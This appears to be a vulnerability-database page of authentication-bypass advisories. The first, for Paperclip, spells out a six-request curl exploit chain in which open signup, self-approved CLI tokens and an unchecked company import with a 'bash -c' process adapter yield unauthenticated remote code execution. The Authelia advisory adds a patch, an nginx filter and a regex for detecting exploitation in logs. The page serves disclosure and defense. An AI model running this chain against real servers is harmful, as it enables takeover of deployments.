    "github_reviewed_at": "2026-04-10T21:08:57Z",
    "nvd_published_at": "2026-04-23T02:16:19Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nAn unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in `authenticated` mode with default configuration. No user interaction, no credentials, just the target\u0027s address. The entire chain is six API calls.\n\nI verified every step against the latest version. I have a fully automated PoC script and a video recording available.\n\nDiscord: sagi03581\n\n## Steps to Reproduce\n\nThe attack chains four independent flaws to escalate from zero access to RCE:\n\n### Step 1: Create an account (no invite, no email verification)\n\n```bash\ncurl -s -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"email\":\"attacker@evil.com\",\"password\":\"P@ssw0rd123\",\"name\":\"attacker\"}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/auth/sign-up/email\n```\n\nReturns a valid account immediately. No invite token required, no email verification.\n\nThis works because `PAPERCLIP_AUTH_DISABLE_SIGN_UP` defaults to `false` in `server/src/config.ts:169-173`:\n\n```typescript\nconst authDisableSignUp: boolean =\n  disableSignUpFromEnv !== undefined\n    ? disableSignUpFromEnv === \"true\"\n    : (fileConfig?.auth?.disableSignUp ?? false);   // default: open\n```\n\nAnd email verification is hardcoded off in `server/src/auth/better-auth.ts:89-93`:\n\n```typescript\nemailAndPassword: {\n  enabled: true,\n  requireEmailVerification: false,\n  disableSignUp: config.authDisableSignUp,\n},\n```\n\nThe environment variable isn\u0027t documented in the deployment guide, so operators don\u0027t know it exists.\n\n### Step 2: Sign in\n\n```bash\ncurl -s -v -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"email\":\"attacker@evil.com\",\"password\":\"P@ssw0rd123\"}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/auth/sign-in/email\n```\n\nCapture the session cookie from the `Set-Cookie` header.\n\n### Step 3: Create a CLI auth challenge and self-approve it\n\nCreate the challenge (no authentication required at all):\n\n```bash\ncurl -s -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"command\":\"test\"}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/cli-auth/challenges\n```\n\nThe response includes a `token` and a `boardApiToken`. The handler at `server/src/routes/access.ts:1638-1659` has no actor check -- anyone can create a challenge.\n\nNow approve it with our own session:\n\n```bash\ncurl -s -X POST \\\n  -H \"Cookie: \u003csession-cookie\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Origin: http://\u003ctarget\u003e:3100\" \\\n  -d \u0027{\"token\":\"\u003ctoken-from-above\u003e\"}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/cli-auth/challenges/\u003cid\u003e/approve\n```\n\nThe approval handler at `server/src/routes/access.ts:1687-1704` checks that the caller is a board user but does not check whether the approver is the same person who created the challenge:\n\n```typescript\nif (req.actor.type !== \"board\" || (!req.actor.userId \u0026\u0026 !isLocalImplicit(req))) {\n  throw unauthorized(\"Sign in before approving CLI access\");\n}\n// no check that approver !== creator\nconst userId = req.actor.userId ?? \"local-board\";\nconst approved = await boardAuth.approveCliAuthChallenge(id, req.body.token, userId);\n```\n\nThe `boardApiToken` from step 3 is now a persistent API key tied to our account.\n\n### Step 4: Create a company and deploy an agent via import (authorization bypass)\n\nThis is the critical flaw. The direct company creation endpoint correctly requires instance admin:\n\n`server/src/routes/companies.ts:260-264`:\n```typescript\nrouter.post(\"/\", validate(createCompanySchema), async (req, res) =\u003e {\n  assertBoard(req);\n  if (!(req.actor.source === \"local_implicit\" || req.actor.isInstanceAdmin)) {\n    throw forbidden(\"Instance admin required\");\n  }\n});\n```\n\nBut the import endpoint does not:\n\n`server/src/routes/companies.ts:170-176`:\n```typescript\nrouter.post(\"/import\", validate(companyPortabilityImportSchema), async (req, res) =\u003e {\n  assertBoard(req);                                     // only checks board type\n  if (req.body.target.mode === \"existing_company\") {\n    assertCompanyAccess(req, req.body.target.companyId);  // only for existing\n  }\n  // NO assertInstanceAdmin for \"new_company\" mode\n  const result = await portability.importBundle(req.body, ...);\n});\n```\n\n`assertInstanceAdmin` isn\u0027t even imported in `companies.ts` (line 27 only imports `assertBoard`, `assertCompanyAccess`, `getActorInfo`), while it is imported and used in other route files like `agents.ts`.\n\nThe import also accepts a `.paperclip.yaml` in the bundle that specifies agent adapter configuration. The `process` adapter takes a `command` and `args` and calls `spawn()` directly with zero sandboxing. The import service passes the full `adapterConfig` through without validation (`server/src/services/company-portability.ts:3955-3981`).\n\n```bash\ncurl -s -X POST -H \"Authorization: Bearer \u003cboard-api-key\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Origin: http://\u003ctarget\u003e:3100\" \\\n  -d \u0027{\n    \"source\": {\"type\": \"inline\", \"files\": {\n      \"COMPANY.md\": \"---\\nname: attacker-corp\\nslug: attacker-corp\\n---\\nx\",\n      \"agents/pwn/AGENTS.md\": \"---\\nkind: agent\\nname: pwn\\nslug: pwn\\nrole: engineer\\n---\\nx\",\n      \".paperclip.yaml\": \"agents:\\n  pwn:\\n    icon: terminal\\n    adapter:\\n      type: process\\n      config:\\n        command: bash\\n        args:\\n          - -c\\n          - id \u003e /tmp/pwned.txt \u0026\u0026 whoami \u003e\u003e /tmp/pwned.txt\"\n    }},\n    \"target\": {\"mode\": \"new_company\", \"newCompanyName\": \"attacker-corp\"},\n    \"include\": {\"company\": true, \"agents\": true},\n    \"agents\": \"all\"\n  }\u0027 \\\n  http://\u003ctarget\u003e:3100/api/companies/import\n```\n\nReturns the new company ID and agent ID. The attacker now owns a company with a process adapter agent configured to run arbitrary commands.\n\n### Step 5: Trigger the agent\n\n```bash\ncurl -s -X POST -H \"Authorization: Bearer \u003cboard-api-key\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Origin: http://\u003ctarget\u003e:3100\" \\\n  -d \u0027{}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/agents/\u003cagent-id\u003e/wakeup\n```\n\nThe wakeup handler at `server/src/routes/agents.ts:2073-2085` only checks `assertCompanyAccess`, which passes because the attacker created the company. Paperclip spawns `bash -c \"id \u003e /tmp/pwned.txt \u0026\u0026 ...\"` as the server\u0027s OS user.\n\n### Proof of Concept\n\nI have a self-contained bash script that runs the full chain automatically:\n\n```\n./poc_exploit.sh http://\u003ctarget\u003e:3100\n```\n\nIt creates a random test account, self-approves a CLI key, imports a company with a process adapter agent, triggers it, and checks for a marker file to confirm execution. Runs in under 30 seconds.\n\n## Impact\n\nAn unauthenticated remote attacker can execute arbitrary commands as the Paperclip server\u0027s OS user on any `authenticated` mode deployment with default configuration. This gives them:\n\n- Full filesystem access (read/write as the server user)\n- Access to all data in the Paperclip database\n- Ability to pivot to internal network services\n- Ability to disrupt all agent operations\n\nThe attack is fully automated, requires no user interaction, and works against the default deployment configuration.\n\n## Suggested Fixes\n\n### Critical: Unauthorized board access (the root cause)\n\nThe import bypass is how I got RCE today, but the real problem is that anyone can go from unauthenticated to a fully persistent board user through open signup + self-approve. Even if you fix the import endpoint, the attacker still has a board API key and can:\n\n- Read adapter configurations and internal API structure\n- Approve/reject/request-revision on any company\u0027s approvals (these endpoints only check `assertBoard`, not `assertCompanyAccess`)\n- Cancel any company\u0027s agent runs (same missing check)\n- Read issue data from any heartbeat run (zero auth on `GET /api/heartbeat-runs/:runId/issues`)\n- Create unlimited accounts for resource exhaustion\n- Wait for the next authorization bug to appear\n\n**These need to be fixed together:**\n\n1. **Disable open registration by default** -- `server/src/config.ts:172`, change `?? false` to `?? true`. Document `PAPERCLIP_AUTH_DISABLE_SIGN_UP` in the deployment guide. Any deployment that wants open signup can opt in explicitly.\n\n2. **Prevent CLI auth self-approval** -- `server/src/routes/access.ts`, around line 1700. Reject when the approving user is the same user who created the challenge. Right now anyone with a session can generate their own persistent API key.\n\n3. **Require email verification** -- `server/src/auth/better-auth.ts:91`, set `requireEmailVerification: true`. At minimum this stops throwaway accounts.\n\n### Critical: Import authorization bypass (the RCE path)\n\n4. **Add `assertInstanceAdmin` to the import endpoint for `new_company` mode** -- `server/src/routes/companies.ts`, lines 161-176. The direct `POST /` creation endpoint already has this check. The import endpoint doesn\u0027t. Apply the same check to both `POST /import` and `POST /import/preview`:\n\n```typescript\nassertBoard(req);\nif (req.body.target.mode === \"new_company\") {\n  if (!(req.actor.source === \"local_implicit\" || req.actor.isInstanceAdmin)) {\n    throw forbidden(\"Instance admin required\");\n  }\n} else {\n  assertCompanyAccess(req, req.body.target.companyId);\n}\n```",
  "id": "GHSA-68qg-g8mg-6pr7",
  "modified": "2026-04-27T16:19:04Z",
  "published": "2026-04-10T21:08:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-68qg-g8mg-6pr7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41679"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/paperclipai/paperclip"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass"
}

GHSA-68VR-5376-M4R9

Vulnerability from github – Published: 2022-05-01 18:42 – Updated: 2022-05-01 18:42

Details

The proxy server in Kerio WinRoute Firewall before 6.4.1 does not properly enforce authentication for HTTPS pages, which has unknown impact and attack vectors. NOTE: it is not clear whether this issue crosses privilege boundaries.

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2007-6385"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-12-15T02:46:00Z",
    "severity": "LOW"
  },
  "details": "The proxy server in Kerio WinRoute Firewall before 6.4.1 does not properly enforce authentication for HTTPS pages, which has unknown impact and attack vectors.  NOTE: it is not clear whether this issue crosses privilege boundaries.",
  "id": "GHSA-68vr-5376-m4r9",
  "modified": "2022-05-01T18:42:25Z",
  "published": "2022-05-01T18:42:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-6385"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/39020"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/42122"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/28072"
    },
    {
      "type": "WEB",
      "url": "http://www.kerio.com/kwf_history.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/26851"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1019095"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2007/4212"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-68WM-PFJF-WQP6

Vulnerability from github – Published: 2021-12-20 16:57 – Updated: 2024-04-22 14:49

Summary

Authelia vulnerable to an authentication bypassed with malformed request URI on nginx

Details

Impact

This affects uses who are using nginx ngx_http_auth_request_module with Authelia, it allows a malicious individual who crafts a malformed HTTP request to bypass the authentication mechanism. It additionally could theoretically affect other proxy servers, but all of the ones we officially support except nginx do not allow malformed URI paths.

Patches

The problem is rectified entirely in v4.29.3. As this patch is relatively straightforward we can back port this to any version upon request. Alternatively we are supplying a git patch to 4.25.1 which should be relatively straightforward to apply to any version, the git patches for specific versions can be found below.

Patch for 4.25.1:

From ca22f3d2c44ca7bef043ffbeeb06d6659c1d550f Mon Sep 17 00:00:00 2001
From: James Elliott <james-d-elliott@users.noreply.github.com>
Date: Wed, 19 May 2021 12:10:13 +1000
Subject: [PATCH] fix(handlers): verify returns 200 on malformed request

This is a git patch for commit at tag v4.25.1 to address a potential method to bypass authentication in proxies that forward malformed information to Authelia in the forward auth process. Instead of returning a 200 this ensures that Authelia returns a 401 when this occurs.
---
 internal/handlers/handler_verify.go | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/internal/handlers/handler_verify.go b/internal/handlers/handler_verify.go
index 65c064ce..4dd9702d 100644
--- a/internal/handlers/handler_verify.go
+++ b/internal/handlers/handler_verify.go
@@ -396,7 +396,9 @@ func VerifyGet(cfg schema.AuthenticationBackendConfiguration) middlewares.Reques
        targetURL, err := getOriginalURL(ctx)

        if err != nil {
-           ctx.Error(fmt.Errorf("Unable to parse target URL: %s", err), operationFailedMessage)
+           ctx.Logger.Error(fmt.Errorf("Unable to parse target URL: %s", err))
+           ctx.ReplyUnauthorized()
+
            return
        }

-- 
2.31.1

Workarounds

The most relevant workaround is upgrading. If you need assistance with an upgrade please contact us on Matrix or Discord. Please just let us know you're needing help upgrading to above 4.29.2.

You can add an block which fails requests that contains a malformed URI in the internal location block. We have crafted one that should work in most instances, it basically checks no chars that are required to be URL-encoded for either the path or the query are in the URI. Basically this regex checks that the characters between the square braces are the only characters in the $request_uri header, if they exist, it returns a HTTP 401 status code. The characters in the regex match are tested to not cause a parsing error that would result in a failure, however they are not exhaustive since query strings seem to not always conform to the RFC.

authelia.conf:

location /authelia {
    internal;
    # **IMPORTANT**
    # This block rejects requests with a 401 which contain characters that are unable to be parsed.
    # It is necessary for security prior to v4.29.3 due to the fact we returned an invalid code in the event of a parser error.
    # You may comment this section if you're using Authelia v4.29.3 or above. We strongly recommend upgrading.
    # RFC3986: http://tools.ietf.org/html/rfc3986
    # Commentary on RFC regarding Query Strings: https://www.456bereastreet.com/archive/201008/what_characters_are_allowed_unencoded_in_query_strings/
    if ($request_uri ~ [^a-zA-Z0-9_+-=\!@$%&*?~.:#'\;\(\)\[\]]) {
        return 401;
    }

    # Include the remainder of the block here. 
}
````

</p></details>

### Discovery

This issue was discovered by:

Siemens Energy
Cybersecurity Red Team

- Silas Francisco
- Ricardo Pesqueira


### Identifying active exploitation of the vulnerability

The following regex should match log entries that are an indication of the vulnerability being exploited:
```regex
level=error msg="Unable to parse target URL: Unable to parse URL (extracted from X-Original-URL header)?.*?: parse.*?net/url:.*github\.com/authelia/authelia/internal/handlers/handler_verify\.go

Example log entry ***with*** X-Original-URL configured:

time="2021-05-21T16:31:15+10:00" level=error msg="Unable to parse target URL: Unable to parse URL extracted from X-Original-URL header: parse \"https://example.com/": net/url: invalid control character in URL" method=GET path=/api/verify remote_ip=192.168.1.10 stack="github.com/authelia/authelia/internal/middlewares/authelia_context.go:65 (*AutheliaCtx).Error\ngithub.com/authelia/authelia/internal/handlers/handler_verify.go:431     VerifyGet.func1\ngithub.com/authelia/authelia/internal/middlewares/authelia_context.go:50 AutheliaMiddleware.func1.1\ngithub.com/fasthttp/router@v1.3.12/router.go:414                         (*Router).Handler\ngithub.com/authelia/authelia/internal/middlewares/log_request.go:14      LogRequestMiddleware.func1\ngithub.com/valyala/fasthttp@v1.24.0/server.go:2219                       (*Server).serveConn\ngithub.com/valyala/fasthttp@v1.24.0/workerpool.go:223                    (*workerPool).workerFunc\ngithub.com/valyala/fasthttp@v1.24.0/workerpool.go:195                    (*workerPool).getCh.func1\nruntime/asm_amd64.s:1371                                                 goexit"

Example log entry ***without*** X-Original-URL configured:

time="2021-05-21T16:30:17+10:00" level=error msg="Unable to parse target URL: Unable to parse URL https://example.com/: parse \"https://example.com/": net/url: invalid control character in URL" method=GET path=/api/verify remote_ip=192.168.1.10 stack="github.com/authelia/authelia/internal/middlewares/authelia_context.go:65 (*AutheliaCtx).Error\ngithub.com/authelia/authelia/internal/handlers/handler_verify.go:431     VerifyGet.func1\ngithub.com/authelia/authelia/internal/middlewares/authelia_context.go:50 AutheliaMiddleware.func1.1\ngithub.com/fasthttp/router@v1.3.12/router.go:414                         (*Router).Handler\ngithub.com/authelia/authelia/internal/middlewares/log_request.go:14      LogRequestMiddleware.func1\ngithub.com/valyala/fasthttp@v1.24.0/server.go:2219                       (*Server).serveConn\ngithub.com/valyala/fasthttp@v1.24.0/workerpool.go:223                    (*workerPool).workerFunc\ngithub.com/valyala/fasthttp@v1.24.0/workerpool.go:195                    (*workerPool).getCh.func1\nruntime/asm_amd64.s:1371                                                 goexit"

### For more information If you have any questions or comments about this advisory: * Open a [Discussion](https://github.com/authelia/authelia/discussions) * Email us at [security@authelia.com](mailto:security@authelia.com) ### Edit / Adjustment This CVE has been edited adjusting the score to more accurately reflect the guidance in the [official CVSS 3.1 guide](https://www.first.org/cvss/specification-document). Due to misunderstandings about the CVSS indicators this was incorrectly assigned but this has been corrected. Under close evaluation the score we originally assigned to this CVE is inappropriate in two clearly identifiable criteria: - Complexity (Low -> High): This attack requires the administrator be using NGINX's auth_request module. This means the attack cannot be exploited at will but rather requires a pre-condition separate to the vulnerable system outside of the attackers control (a vulnerable version of NGINX - at the time of this writing NGINX's security team has *refused* to fix the clear bug on their end but that's effectively irrelevant since we operate with more than just a NGINX proxy and no other proxy has this vulnerability), and requires the attacker have gathered knowledge about the system for this likely to be exploited. - Availability (High -> None): This attack does not alter availability directly.

Severity

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.29.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/authelia/authelia/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-alpha1"
            },
            {
              "fixed": "4.29.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-32637"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-28T18:08:47Z",
    "nvd_published_at": "2021-05-28T17:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nThis affects uses who are using nginx ngx_http_auth_request_module with Authelia, it allows a malicious individual who crafts a malformed HTTP request to bypass the authentication mechanism. It additionally could theoretically affect other proxy servers, but all of the ones we officially support except nginx do not allow malformed URI paths.\n\n### Patches\nThe problem is rectified entirely in v4.29.3. As this patch is relatively straightforward we can back port this to any version upon request. Alternatively we are supplying a git patch to 4.25.1 which should be relatively straightforward to apply to any version, the git patches for specific versions can be found below.\n\n\u003cdetails\u003e\u003csummary\u003ePatch for 4.25.1:\u003c/summary\u003e\u003cp\u003e\n\n```patch\nFrom ca22f3d2c44ca7bef043ffbeeb06d6659c1d550f Mon Sep 17 00:00:00 2001\nFrom: James Elliott \u003cjames-d-elliott@users.noreply.github.com\u003e\nDate: Wed, 19 May 2021 12:10:13 +1000\nSubject: [PATCH] fix(handlers): verify returns 200 on malformed request\n\nThis is a git patch for commit at tag v4.25.1 to address a potential method to bypass authentication in proxies that forward malformed information to Authelia in the forward auth process. Instead of returning a 200 this ensures that Authelia returns a 401 when this occurs.\n---\n internal/handlers/handler_verify.go | 4 +++-\n 1 file changed, 3 insertions(+), 1 deletion(-)\n\ndiff --git a/internal/handlers/handler_verify.go b/internal/handlers/handler_verify.go\nindex 65c064ce..4dd9702d 100644\n--- a/internal/handlers/handler_verify.go\n+++ b/internal/handlers/handler_verify.go\n@@ -396,7 +396,9 @@ func VerifyGet(cfg schema.AuthenticationBackendConfiguration) middlewares.Reques\n \t\ttargetURL, err := getOriginalURL(ctx)\n \n \t\tif err != nil {\n-\t\t\tctx.Error(fmt.Errorf(\"Unable to parse target URL: %s\", err), operationFailedMessage)\n+\t\t\tctx.Logger.Error(fmt.Errorf(\"Unable to parse target URL: %s\", err))\n+\t\t\tctx.ReplyUnauthorized()\n+\n \t\t\treturn\n \t\t}\n \n-- \n2.31.1\n```\n\n\u003c/p\u003e\u003c/details\u003e\n\n### Workarounds\nThe most relevant workaround is upgrading. **If you need assistance with an upgrade please contact us on [Matrix](https://riot.im/app/#/room/#authelia:matrix.org) or [Discord](https://discord.authelia.com).** Please just let us know you\u0027re needing help upgrading to above 4.29.2. \n\nYou can add an block which fails requests that contains a malformed URI in the internal location block. We have crafted one that should work in most instances, it basically checks no chars that are required to be URL-encoded for either the path or the query are in the URI. Basically this regex checks that the characters between the square braces are the only characters in the $request_uri header, if they exist, it returns a HTTP 401 status code. The characters in the regex match are tested to not cause a parsing error that would result in a failure, however they are not exhaustive since query strings seem to not always conform to the RFC.\n\n\u003cdetails\u003e\u003csummary\u003eauthelia.conf:\u003c/summary\u003e\u003cp\u003e\n\n```nginx\nlocation /authelia {\n    internal;\n    # **IMPORTANT**\n    # This block rejects requests with a 401 which contain characters that are unable to be parsed.\n    # It is necessary for security prior to v4.29.3 due to the fact we returned an invalid code in the event of a parser error.\n    # You may comment this section if you\u0027re using Authelia v4.29.3 or above. We strongly recommend upgrading.\n    # RFC3986: http://tools.ietf.org/html/rfc3986\n    # Commentary on RFC regarding Query Strings: https://www.456bereastreet.com/archive/201008/what_characters_are_allowed_unencoded_in_query_strings/\n    if ($request_uri ~ [^a-zA-Z0-9_+-=\\!@$%\u0026*?~.:#\u0027\\;\\(\\)\\[\\]]) {\n        return 401;\n    }\n\n    # Include the remainder of the block here. \n}\n````\n\n\u003c/p\u003e\u003c/details\u003e\n\n### Discovery\n\nThis issue was discovered by:\n\nSiemens Energy\nCybersecurity Red Team\n\n- Silas Francisco\n- Ricardo Pesqueira\n\n\n### Identifying active exploitation of the vulnerability\n\nThe following regex should match log entries that are an indication of the vulnerability being exploited:\n```regex\nlevel=error msg=\"Unable to parse target URL: Unable to parse URL (extracted from X-Original-URL header)?.*?: parse.*?net/url:.*github\\.com/authelia/authelia/internal/handlers/handler_verify\\.go\n```\n\nExample log entry ***with*** X-Original-URL configured:\n```log\ntime=\"2021-05-21T16:31:15+10:00\" level=error msg=\"Unable to parse target URL: Unable to parse URL extracted from X-Original-URL header: parse \\\"https://example.com/\": net/url: invalid control character in URL\" method=GET path=/api/verify remote_ip=192.168.1.10 stack=\"github.com/authelia/authelia/internal/middlewares/authelia_context.go:65 (*AutheliaCtx).Error\\ngithub.com/authelia/authelia/internal/handlers/handler_verify.go:431     VerifyGet.func1\\ngithub.com/authelia/authelia/internal/middlewares/authelia_context.go:50 AutheliaMiddleware.func1.1\\ngithub.com/fasthttp/router@v1.3.12/router.go:414                         (*Router).Handler\\ngithub.com/authelia/authelia/internal/middlewares/log_request.go:14      LogRequestMiddleware.func1\\ngithub.com/valyala/fasthttp@v1.24.0/server.go:2219                       (*Server).serveConn\\ngithub.com/valyala/fasthttp@v1.24.0/workerpool.go:223                    (*workerPool).workerFunc\\ngithub.com/valyala/fasthttp@v1.24.0/workerpool.go:195                    (*workerPool).getCh.func1\\nruntime/asm_amd64.s:1371                                                 goexit\"\n```\n\nExample log entry ***without*** X-Original-URL configured:\n```log\ntime=\"2021-05-21T16:30:17+10:00\" level=error msg=\"Unable to parse target URL: Unable to parse URL https://example.com/: parse \\\"https://example.com/\": net/url: invalid control character in URL\" method=GET path=/api/verify remote_ip=192.168.1.10 stack=\"github.com/authelia/authelia/internal/middlewares/authelia_context.go:65 (*AutheliaCtx).Error\\ngithub.com/authelia/authelia/internal/handlers/handler_verify.go:431     VerifyGet.func1\\ngithub.com/authelia/authelia/internal/middlewares/authelia_context.go:50 AutheliaMiddleware.func1.1\\ngithub.com/fasthttp/router@v1.3.12/router.go:414                         (*Router).Handler\\ngithub.com/authelia/authelia/internal/middlewares/log_request.go:14      LogRequestMiddleware.func1\\ngithub.com/valyala/fasthttp@v1.24.0/server.go:2219                       (*Server).serveConn\\ngithub.com/valyala/fasthttp@v1.24.0/workerpool.go:223                    (*workerPool).workerFunc\\ngithub.com/valyala/fasthttp@v1.24.0/workerpool.go:195                    (*workerPool).getCh.func1\\nruntime/asm_amd64.s:1371                                                 goexit\"\n```\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open a [Discussion](https://github.com/authelia/authelia/discussions)\n* Email us at [security@authelia.com](mailto:security@authelia.com)\n\n### Edit / Adjustment\n\nThis CVE has been edited adjusting the score to more accurately reflect the guidance in the [official CVSS 3.1 guide](https://www.first.org/cvss/specification-document). Due to misunderstandings about the CVSS indicators this was incorrectly assigned but this has been corrected. Under close evaluation the score we originally assigned to this CVE is inappropriate in two clearly identifiable criteria:\n\n- Complexity (Low -\u003e High): This attack requires the administrator be using NGINX\u0027s auth_request module. This means the attack cannot be exploited at will but rather requires a pre-condition separate to the vulnerable system outside of the attackers control (a vulnerable version of NGINX - at the time of this writing NGINX\u0027s security team has *refused* to fix the clear bug on their end but that\u0027s effectively irrelevant since we operate with more than just a NGINX proxy and no other proxy has this vulnerability), and requires the attacker have gathered knowledge about the system for this likely to be exploited.\n - Availability (High -\u003e None): This attack does not alter availability directly.",
  "id": "GHSA-68wm-pfjf-wqp6",
  "modified": "2024-04-22T14:49:49Z",
  "published": "2021-12-20T16:57:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/authelia/authelia/security/advisories/GHSA-68wm-pfjf-wqp6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32637"
    },
    {
      "type": "WEB",
      "url": "https://github.com/authelia/authelia/commit/c62dbd43d6e69ae81530e7c4f8763857f8ff1dda"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/authelia/authelia"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Authelia vulnerable to an authentication bypassed with malformed request URI on nginx"
}

GHSA-6923-3X33-63PJ

Vulnerability from github – Published: 2022-05-01 06:39 – Updated: 2022-05-01 06:39

Details

SleeperChat 0.3f and earlier allows remote attackers to bypass authentication and create new entries via the txt parameter to (1) chat_no.php and (2) chat_if.php.

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2006-0416"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2006-01-25T11:03:00Z",
    "severity": "MODERATE"
  },
  "details": "SleeperChat 0.3f and earlier allows remote attackers to bypass authentication and create new entries via the txt parameter to (1) chat_no.php and (2) chat_if.php.",
  "id": "GHSA-6923-3x33-63pj",
  "modified": "2022-05-01T06:39:39Z",
  "published": "2022-05-01T06:39:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2006-0416"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/24357"
    },
    {
      "type": "WEB",
      "url": "http://securitytracker.com/id?1015525"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-6925-Q744-QCX6

Vulnerability from github – Published: 2022-05-05 00:00 – Updated: 2022-05-17 00:01

Details

Use of static encryption key material allows forging an authentication token to other users within a tenant organization. MFA may be bypassed by redirecting an authentication flow to a target user. To exploit the vulnerability, must have compromised user credentials.

Severity

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2022-23724"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-288",
      "CWE-798"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-04T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "Use of static encryption key material allows forging an authentication token to other users within a tenant organization. MFA may be bypassed by redirecting an authentication flow to a target user. To exploit the vulnerability, must have compromised user credentials.",
  "id": "GHSA-6925-q744-qcx6",
  "modified": "2022-05-17T00:01:43Z",
  "published": "2022-05-05T00:00:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23724"
    },
    {
      "type": "WEB",
      "url": "https://docs.pingidentity.com/bundle/pingid/page/xqz1597139945488.html"
    },
    {
      "type": "WEB",
      "url": "https://www.pingidentity.com/en/resources/downloads/pingid.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation

Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

CAPEC-114: Authentication Abuse

An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.

CAPEC-115: Authentication Bypass

An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.

CAPEC-151: Identity Spoofing

Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.

CAPEC-194: Fake the Source of Data

An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

